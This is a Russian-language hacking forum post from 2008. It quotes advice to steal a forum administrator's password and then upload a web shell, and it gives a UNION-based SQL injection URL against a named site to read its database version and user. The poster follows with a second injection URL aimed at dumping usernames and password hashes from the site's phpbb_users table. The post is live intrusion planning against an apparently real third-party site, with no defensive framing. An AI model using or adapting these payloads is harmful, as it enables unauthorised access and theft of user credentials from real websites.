
12.08.2008, 15:18
|
|
Познающий
Регистрация: 01.02.2008
Сообщений: 53
Провел на форуме: 136161
Репутация:
5
|
|
Сообщение от nicusor
можно узнать пароль админа на форуме
потом через форум можно залить шелл .. и будет тебе счастье
попробуй такие идеи
http://evo.nightspirits.net/indexframe.php?razdel=news&comm=-1'+and+1=2+union+select+1,2,3,4,aes_decrypt(aes_en crypt(concat_ws(0x3a,version(),database(),user()), 0x71),0x71),6,7,8,9/*
это для технической информации
также можешь узнать пароль и имена пользователей
таблица
phpbb_users
поля
username
user_password
по твоей подсказке сделал такой запрос http://evo.nightspirits.net/indexframe.php?razdel=news&comm=1'+and+1=2+union+s elect+1,2,3,4,username,user_password,7,8,9+from+ph pbb_users/* но почемут не видно данных базы.
|
|
|